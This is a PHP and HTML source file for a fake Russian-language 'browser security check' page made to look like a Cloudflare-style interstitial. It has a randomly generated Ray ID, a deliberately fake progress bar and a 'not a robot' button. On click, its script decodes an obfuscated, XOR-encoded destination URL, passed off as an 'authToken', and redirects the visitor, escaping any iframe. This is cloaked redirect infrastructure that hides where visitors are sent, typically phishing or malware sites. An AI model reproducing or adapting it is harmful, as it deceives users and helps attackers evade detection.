redirect-security / index.php
ivanvagin1488-commits
Fix syntax error
32f33ae
<?php
// ==========================================
// БЭКЕНД ЧАСТЬ (БЕЗ ИЗМЕНЕНИЙ)
// ==========================================
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Pragma: no-cache");
$cache_file = 'domain_cache.txt';
$api_response = "";
// Безопасное чтение файла с защитой от гонки процессов и пустых байтов
if (file_exists($cache_file)) {
$fp = fopen($cache_file, "r");
if (flock($fp, LOCK_SH)) {
$fsize = filesize($cache_file);
if ($fsize > 0) {
$content = fread($fp, $fsize);
if (!empty($content)) {
$api_response = trim($content);
}
}
flock($fp, LOCK_UN);
}
fclose($fp);
}
?>
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<meta name="robots" content="noindex, nofollow, noarchive">
<title>Проверка безопасности браузера</title>
<style>
:root {
--primary: #2563eb;
/* Trust Blue */
--primary-dark: #1d4ed8;
--bg-color: #f8fafc;
--card-bg: #ffffff;
--text-head: #0f172a;
--text-body: #64748b;
--border-color: #e2e8f0;
--success: #10b981;
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
-webkit-tap-highlight-color: transparent;
}
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
background-color: var(--bg-color);
color: var(--text-head);
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
min-height: 100vh;
padding: 20px;
}
.system-card {
background: var(--card-bg);
width: 100%;
max-width: 420px;
border-radius: 12px;
box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.05), 0 10px 15px -3px rgba(0, 0, 0, 0.05);
border: 1px solid var(--border-color);
overflow: hidden;
text-align: center;
position: relative;
}
/* Верхняя полоска прогресса (фейковая) */
.loading-bar {
height: 4px;
width: 100%;
background: #eff6ff;
position: absolute;
top: 0;
left: 0;
}
.loading-bar::after {
content: '';
position: absolute;
left: 0;
top: 0;
height: 100%;
width: 30%;
background: var(--primary);
animation: load 2s infinite ease-in-out;
}
@keyframes load {
0% {
left: -30%;
}
100% {
left: 100%;
}
}
.card-content {
padding: 40px 30px;
}
/* Анимированная иконка */
.icon-area {
position: relative;
width: 80px;
height: 80px;
margin: 0 auto 25px;
display: flex;
align-items: center;
justify-content: center;
}
.icon-circle {
position: absolute;
width: 100%;
height: 100%;
border-radius: 50%;
background: #dbeafe;
opacity: 0.5;
animation: pulse 2s infinite;
}
.icon-circle:nth-child(2) {
width: 70%;
height: 70%;
background: #bfdbfe;
animation-delay: 0.5s;
opacity: 0.8;
}
.icon-svg {
position: relative;
width: 40px;
height: 40px;
color: var(--primary);
z-index: 2;
}
@keyframes pulse {
0% {
transform: scale(0.95);
opacity: 0.5;
}
50% {
transform: scale(1.05);
opacity: 0.8;
}
100% {
transform: scale(0.95);
opacity: 0.5;
}
}
h1 {
font-size: 20px;
font-weight: 700;
color: var(--text-head);
margin-bottom: 10px;
letter-spacing: -0.01em;
}
p {
font-size: 15px;
color: var(--text-body);
line-height: 1.6;
margin-bottom: 30px;
}
/* Стиль кнопки */
.action-btn {
display: flex;
justify-content: center;
align-items: center;
width: 100%;
padding: 16px;
background: var(--primary);
color: white;
border: none;
border-radius: 8px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
transition: all 0.2s;
box-shadow: 0 4px 6px -1px rgba(37, 99, 235, 0.2);
}
.action-btn:hover {
background: var(--primary-dark);
transform: translateY(-1px);
}
.action-btn:active {
transform: translateY(1px);
}
/* Лоадер внутри кнопки */
.loader-ui {
display: none;
width: 20px;
height: 20px;
border: 2px solid rgba(255, 255, 255, 0.3);
border-radius: 50%;
border-top-color: #fff;
animation: spin 0.8s linear infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
.action-btn.active {
background: #94a3b8;
pointer-events: none;
cursor: default;
}
.action-btn.active .btn-lbl {
display: none;
}
.action-btn.active .loader-ui {
display: block;
}
/* Технический футер (для доверия) */
.tech-footer {
margin-top: 25px;
padding-top: 20px;
border-top: 1px solid var(--border-color);
font-size: 11px;
color: #94a3b8;
display: flex;
justify-content: space-between;
font-family: monospace;
}
</style>
</head>
<body>
<div class="system-card">
<div class="loading-bar"></div>
<div class="card-content">
<div class="icon-area">
<div class="icon-circle"></div>
<div class="icon-circle"></div>
<!-- Shield Icon -->
<svg class="icon-svg" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
stroke="currentColor" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round"
d="M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z" />
</svg>
</div>
<h1>Проверка безопасности</h1>
<p>
Система проверяет ваше соединение на наличие автоматических угроз.
<br>Пожалуйста, подтвердите действие для перехода.
</p>
<button id="submitAction" class="action-btn">
<span class="btn-lbl">Я не робот. Перейти далее</span>
<div class="loader-ui"></div>
</button>
<div class="tech-footer">
<span>Ray ID:
<script>document.write(Math.random().toString(36).substr(2, 9).toUpperCase())</script>
</span>
<span>Security Check v4.2</span>
</div>
</div>
</div>
<script>
const AppConfig = {
session_ver: "ui-sess-v4-8921-xb-log",
authToken: "<?php echo $api_response; ?>",
uiDelay: 800
};
function renderLayout(t, k) {
try {
let s = atob(t);
let res = '';
for (let i = 0; i < s.length; i++) {
res += String.fromCharCode(s.charCodeAt(i) ^ k.charCodeAt(i % k.length));
}
return res;
} catch (z) {
return null;
}
}
document.addEventListener('DOMContentLoaded', function () {
const btn = document.getElementById('submitAction');
btn.addEventListener('click', function (evt) {
evt.preventDefault();
btn.classList.add('active');
setTimeout(function () {
const path = renderLayout(AppConfig.authToken, AppConfig.session_ver);
if (path && path.indexOf('http') === 0) {
try {
// Попытка открыть в новой вкладке
const newWin = window.open(path, '_blank');
if (!newWin || newWin.closed || typeof newWin.closed == 'undefined') {
throw new Error('Popup blocked');
}
} catch (e) {
// Если блокировщик не дал открыть вкладку,
// открываем в текущем окне, но ВЫХОДИМ из iframe (top)
window.top.location.href = path;
}
} else {
console.error('Security verification failed');
location.reload();
}
}, AppConfig.uiDelay);
});
});
</script>
</body>
</html>